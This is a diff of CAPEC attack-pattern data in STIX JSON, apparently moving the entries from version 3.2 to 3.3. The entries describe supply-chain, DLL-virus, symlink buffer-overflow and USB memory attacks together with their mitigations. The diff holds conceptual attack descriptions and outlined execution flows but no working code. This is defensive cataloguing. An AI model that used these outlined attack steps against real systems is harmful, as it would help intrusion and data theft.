"attack-pattern", - "id": "attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--8b2e787f-2034-4a16-8515-37dddac4930a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8b2e787f-2034-4a16-8515-37dddac4930a", "source_ref": "course-of-action--aa94cc6d-559e-4d78-ac28-7d751abed25b", "relationship_type": "mitigates", "target_ref": "attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb" }, { + "id": "relationship--e626d148-d65c-4d3a-b600-e59852d41f84", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e626d148-d65c-4d3a-b600-e59852d41f84", "source_ref": "course-of-action--f021edf5-f2c1-49c5-b1b9-a07bd11d1aec", "relationship_type": "mitigates", "target_ref": "attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb" }, { + "id": "attack-pattern--374de530-29f4-4e14-905f-809f8cae631d", "name": "Malicious Logic Insertion into Product Software via Inclusion of 3rd Party Component Dependency", "description": "An adversary conducts supply chain attacks by the inclusion of insecure 3rd party components into a technology, product, or code-base, possibly packaging a malicious driver or component along with the product before shipping it to the consumer or acquirer. The result is a window of opportunity for exploiting the product or software until the insecure component is discovered. This supply chain threat can result in the installation of software that introduces widespread security vulnerabilities within an organization. One example could be the inclusion of an exploitable DLL (Dynamic Link Library) included within an antivirus technology. Because software often depends upon a large number of interdependent libraries and components to be present, security holes can be introduced merely by installing COTS software that comes pre-packaged with the components required for it to operate.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25889,24 +27552,25 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--374de530-29f4-4e14-905f-809f8cae631d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--b01fc6bf-8ca3-4dbd-934f-be15c69f2ad2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b01fc6bf-8ca3-4dbd-934f-be15c69f2ad2", "source_ref": "course-of-action--aa94cc6d-559e-4d78-ac28-7d751abed25b", "relationship_type": "mitigates", "target_ref": "attack-pattern--374de530-29f4-4e14-905f-809f8cae631d" }, { + "id": "attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46", "name": "Design Alteration", "description": "An adversary modifies the design of a technology, product, or component to acheive a negative impact once the system is deployed. In this type of attack, the goal of the adversary is to modify the design of the system, prior to development starting, in such a way that the negative impact can be leveraged when the system is later deployed. Design alteration attacks differ from development alteration attacks in that design alteration attacks take place prior to development and which then may or may not be developed by the adverary. Design alteration attacks include modifying system designs to degrade system performance, cause unexpected states or errors, and general design changes that may lead to additional vulnerabilities. These attacks generally require insider access to modify design documents, but they may also be spoofed via web communications. The product is then developed and delivered to the user where the negative impact can be leveraged at a later time.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25941,11 +27605,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e68b1c60-e63a-4c2f-bc78-1be3494a0031", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -25954,23 +27618,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Assess design documentation prior to development to ensure that they function as intended and without any malicious functionality.", - "type": "course-of-action", - "id": "course-of-action--e68b1c60-e63a-4c2f-bc78-1be3494a0031" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a78cd3b8-5b83-473a-a2b9-a4f2f8eb4a52", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a78cd3b8-5b83-473a-a2b9-a4f2f8eb4a52", "source_ref": "course-of-action--e68b1c60-e63a-4c2f-bc78-1be3494a0031", "relationship_type": "mitigates", "target_ref": "attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46" }, { + "id": "course-of-action--a24db5bc-0875-48f1-b156-cd237ebeddad", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -25979,23 +27645,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that design documentation is saved in a secure location and has proper access controls set in place to avoid unnecessary modification.", - "type": "course-of-action", - "id": "course-of-action--a24db5bc-0875-48f1-b156-cd237ebeddad" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--54127afd-7b03-4cb6-b49b-ae02838e829c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--54127afd-7b03-4cb6-b49b-ae02838e829c", "source_ref": "course-of-action--a24db5bc-0875-48f1-b156-cd237ebeddad", "relationship_type": "mitigates", "target_ref": "attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46" }, { + "id": "attack-pattern--41a75729-839b-409f-88f6-1b0c0dc9286c", "name": "Embed Virus into DLL", "description": "An adversary tampers with a DLL and embeds a computer virus into gaps between legitimate machine instructions. These gaps may be the result of compiler optimizations that pad memory blocks for performance gains. The embedded virus then attempts to infect any machine which interfaces with the product, and possibly steal private data or eavesdrop.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26023,24 +27691,25 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--41a75729-839b-409f-88f6-1b0c0dc9286c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--f0abd6ec-3ef1-4bad-88ac-615c6674b4d5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f0abd6ec-3ef1-4bad-88ac-615c6674b4d5", "source_ref": "course-of-action--f021edf5-f2c1-49c5-b1b9-a07bd11d1aec", "relationship_type": "mitigates", "target_ref": "attack-pattern--41a75729-839b-409f-88f6-1b0c0dc9286c" }, { + "id": "attack-pattern--3a127c86-c569-4de3-a328-1c1b45a9f986", "name": "DEPRECATED: Malware Propagation via USB Stick", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Malware Infection into Product Software. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26058,11 +27727,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3a127c86-c569-4de3-a328-1c1b45a9f986" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9", "name": "Buffer Overflow via Symbolic Links", "description": "This type of attack leverages the use of symbolic links to cause buffer overflows. An attacker can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26156,12 +27825,13 @@ "x_capec_example_instances": [ "\n Attack Example: Overflow with Symbolic Links in EFTP Server\n The EFTP server has a buffer overflow that can be exploited if an attacker uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the attacker uploads some content (the link file) and then the attacker causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software.\n " ], + "x_capec_execution_flow": "

Execution Flow

Exploit

  1. The attacker creates or modifies a symbolic link pointing to a resources (e.g., file, directory). The content of the symbolic link file includes out-of-bounds (e.g. excessive length) data.

  2. The target host consumes the data pointed to by the symbolic link file. The target host may either intentionally expect to read a symbolic link or it may be fooled by the replacement of the original resource and read the attackers' symbolic link.

  3. While consuming the data, the target host does not check for buffer boundary which can lead to a buffer overflow. If the content of the data is controlled by the attacker, this is an avenue for remote code execution.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ae175d98-2ef9-4f9b-a6e5-bdcd283fca9d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -26170,23 +27840,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Pay attention to the fact that the resource you read from can be a replaced by a Symbolic link. You can do a Symlink check before reading the file and decide that this is not a legitimate way of accessing the resource.", - "type": "course-of-action", - "id": "course-of-action--ae175d98-2ef9-4f9b-a6e5-bdcd283fca9d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ecde6069-c1c7-4e95-bfbf-8d888d1da15e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ecde6069-c1c7-4e95-bfbf-8d888d1da15e", "source_ref": "course-of-action--ae175d98-2ef9-4f9b-a6e5-bdcd283fca9d", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "course-of-action--05c9f402-bd10-4aba-84d1-3b6a25897c23", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -26195,23 +27867,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Because Symlink can be modified by an attacker, make sure that the ones you read are located in protected directories.", - "type": "course-of-action", - "id": "course-of-action--05c9f402-bd10-4aba-84d1-3b6a25897c23" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--580461a6-c2f0-456c-9715-0660a8958f89", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--580461a6-c2f0-456c-9715-0660a8958f89", "source_ref": "course-of-action--05c9f402-bd10-4aba-84d1-3b6a25897c23", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "course-of-action--768e67b2-6609-4e58-b9e6-e321bd213b74", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -26220,23 +27894,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Pay attention to the resource pointed to by your symlink links (See attack pattern named \"Forced Symlink race\"), they can be replaced by malicious resources.", - "type": "course-of-action", - "id": "course-of-action--768e67b2-6609-4e58-b9e6-e321bd213b74" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7d781109-18f4-4057-a1b2-2d53e821b317", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7d781109-18f4-4057-a1b2-2d53e821b317", "source_ref": "course-of-action--768e67b2-6609-4e58-b9e6-e321bd213b74", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "course-of-action--5c0f30c8-59bc-4ff2-91c7-ca8f4bd5d374", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -26245,75 +27921,81 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Always check the size of the input data before copying to a buffer.", - "type": "course-of-action", - "id": "course-of-action--5c0f30c8-59bc-4ff2-91c7-ca8f4bd5d374" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7487759c-c682-45d9-b902-871361800f52", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7487759c-c682-45d9-b902-871361800f52", "source_ref": "course-of-action--5c0f30c8-59bc-4ff2-91c7-ca8f4bd5d374", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "relationship--9762e554-038f-4527-b000-3e8e0d78fe26", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9762e554-038f-4527-b000-3e8e0d78fe26", "source_ref": "course-of-action--a253c485-f225-4dd3-b0ba-dbe4b29fa134", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "relationship--6ce42f28-5f2d-4b83-8daf-869c4145268e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6ce42f28-5f2d-4b83-8daf-869c4145268e", "source_ref": "course-of-action--286c9aaa-2118-48dc-bce6-6e3f41adc043", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "relationship--71106318-5e06-4db7-b209-bbf30b0020fb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--71106318-5e06-4db7-b209-bbf30b0020fb", "source_ref": "course-of-action--115171ef-9f32-43b6-bb8a-49f0a78286e9", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "relationship--84ae2ea4-df85-4853-b1f2-319992648876", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--84ae2ea4-df85-4853-b1f2-319992648876", "source_ref": "course-of-action--b8955156-d3d6-4db5-bc3b-595bda29964b", "relationship_type": "mitigates", "target_ref": "attack-pattern--5d5ff43b-cbe7-4986-bfec-cf979f97e6b9" }, { + "id": "attack-pattern--1c4b22ea-6dfc-4a95-917e-a7f11f3d34eb", "name": "DEPRECATED: Malware Propagation via USB U3 Autorun", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Malware Infection into Product Software. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26331,11 +28013,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1c4b22ea-6dfc-4a95-917e-a7f11f3d34eb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--64076ab3-d972-4688-b46b-76627923a8a0", "name": "DEPRECATED: Malware Propagation via Infected Peripheral Device", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Malware Infection into Product Software. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26353,11 +28035,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--64076ab3-d972-4688-b46b-76627923a8a0" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--4cfba0b3-4740-49ae-bbb4-2dad27886239", "name": "Infected Hardware", "description": "An adversary inserts malicious logic into hardware, typically in the form of a computer virus or rootkit. This logic is often hidden from the user of the hardware and works behind the scenes to achieve negative impacts. This pattern of attack focuses on hardware already fielded and used in operation as opposed to hardware that is still under development and part of the supply chain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26385,11 +28067,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4cfba0b3-4740-49ae-bbb4-2dad27886239" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--a2eaa5c4-8d21-414a-9d49-08667f4c6427", "name": "DEPRECATED: Malicious Logic Insertion via Counterfeit Hardware", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-452 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26407,11 +28089,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a2eaa5c4-8d21-414a-9d49-08667f4c6427" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--c18bf62a-4419-4606-9dbe-03ab63873b60", "name": "DEPRECATED: Modification of Existing Components with Counterfeit Hardware", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-452 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26429,11 +28111,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c18bf62a-4419-4606-9dbe-03ab63873b60" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--55c6c2d2-1850-4263-97eb-e47c9b9a7a4b", "name": "DEPRECATED: Malicious Logic Insertion via Inclusion of Counterfeit Hardware Components", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-457 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26451,11 +28133,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--55c6c2d2-1850-4263-97eb-e47c9b9a7a4b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--dc05cb9b-00ae-4fd0-8743-b1fb507ea1d3", "name": "Infected Memory", "description": "An adversary inserts malicious logic into memory enabling them to achieve a negative impact. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems that are still under development and part of the supply chain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26484,11 +28166,11 @@ "In 2007, approximately 1800 of Seagate's Maxtor Personal Storage 3200 drives were built under contract with an outside manufacturer and contained a virus that stole user passwords." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--dc05cb9b-00ae-4fd0-8743-b1fb507ea1d3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--654febd1-834c-4c6b-b928-85c97bbf9150", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -26497,23 +28179,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Leverage anti-virus products to detect stop operations with known virus.", - "type": "course-of-action", - "id": "course-of-action--654febd1-834c-4c6b-b928-85c97bbf9150" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--66815cc1-00b2-4e7e-b397-ae5fb384441e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--66815cc1-00b2-4e7e-b397-ae5fb384441e", "source_ref": "course-of-action--654febd1-834c-4c6b-b928-85c97bbf9150", "relationship_type": "mitigates", "target_ref": "attack-pattern--dc05cb9b-00ae-4fd0-8743-b1fb507ea1d3" }, { + "id": "attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8", "name": "USB Memory Attacks", "description": "An adversary loads malicious code onto a USB memory stick in order to infect any system which the device is plugged in to. USB drives present a significant security risk for business and government agencies. Given the ability to integrate wireless functionality into a USB stick, it is possible to design malware that not only steals confidential data, but sniffs the network, or monitor keystrokes, and then exfiltrates the stolen data off-site via a Wireless connection. Also, viruses can be transmitted via the USB interface without the specific use of a memory stick. The attacks from USB devices are often of such sophistication that experts conclude they are not the work of single individuals, but suggest state sponsorship. These attacks can be performed by an adversary with direct access to a target system or can be executed via means such as USB Drop Attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -26521,7 +28205,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -26541,87 +28225,94 @@ "Information pertaining to the target organization on how to best execute a USB Drop Attack." ], "x_capec_abstraction": "Detailed", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Target System: In certain cases, the adversary will explore an organization's network to determine a specific target machine to exploit based on the information it contains or privileges the main user may possess.

    2. Techniques
    If needed, the adversary explores an organization's network to determine if any specific systems of interest exist.

Experiment

  1. Develop or Obtain malware and install on a USB device: The adversary develops or obtains the malicious software necessary to exploit the target system, which they then install on an external USB device such as a USB flash drive.

    2. Techniques
    The adversary can develop or obtain malware for to perform a variety of tasks such as sniffing network traffic or monitoring keystrokes.

Exploit

  1. Connect or deceive a user into connecting the infected USB device: Once the malware has been placed on an external USB device, the adversary connects the device to the target system or deceives a user into connecting the device to the target system such as in a USB Drop Attack.

    2. Techniques
    The adversary connects the USB device to a specified target system or performs a USB Drop Attack, hoping a user will find and connect the USB device on their own. Once the device is connected, the malware executes giving the adversary access to network traffic, credentials, etc.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-457-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Ensure that proper, physical system access is regulated to prevent an adversary from physically connecting a malicious USB device himself.", + "description": "Ensure that proper, physical system access is regulated to prevent an adversary from physically connecting a malicious USB device themself.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--6a538e65-ed18-4355-b4ea-4e1a2149b05b" + "id": "course-of-action--28a045ca-1d19-4806-8fe8-289661aa8f3d" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--48e1cb2d-6226-44df-850c-d1aa5e85497a", - "source_ref": "course-of-action--6a538e65-ed18-4355-b4ea-4e1a2149b05b", + "id": "relationship--1223d74f-6652-40ea-92ee-4f1a2c91d676", + "source_ref": "course-of-action--28a045ca-1d19-4806-8fe8-289661aa8f3d", "relationship_type": "mitigates", "target_ref": "attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8" }, { + "id": "course-of-action--23616f83-6ea1-4f30-a9f5-65259313e80b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-457-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use anti-virus and anti-malware tools which can prevent malware from executing if it finds its way onto a target system. Additionally, make sure these tools are regularly updated to contain up-to-date virus and malware signatures.", - "type": "course-of-action", - "id": "course-of-action--23616f83-6ea1-4f30-a9f5-65259313e80b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--83689bae-01f6-4ed3-b3f8-66cf8e657475", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--83689bae-01f6-4ed3-b3f8-66cf8e657475", "source_ref": "course-of-action--23616f83-6ea1-4f30-a9f5-65259313e80b", "relationship_type": "mitigates", "target_ref": "attack-pattern--a55491b8-b521-44f4-a905-a6ed82b8e7e8" }, { + "id": "course-of-action--c295b380-bcd9-4e87-88dc-341fc0ad6922", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-457-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Do not connect untrusted USB devices to systems connected on an organizational network. Additionally, use an isolated testing machine to validate untrusted devices and confirm malware does not exist.", - "type": "course-of-action", - "id": "course-of-action--c295b380-bcd9-4e87-88dc-341fc0ad6922" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--dfbd2aef-9f4e-43aa-819c-14c5b16d3c23", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ 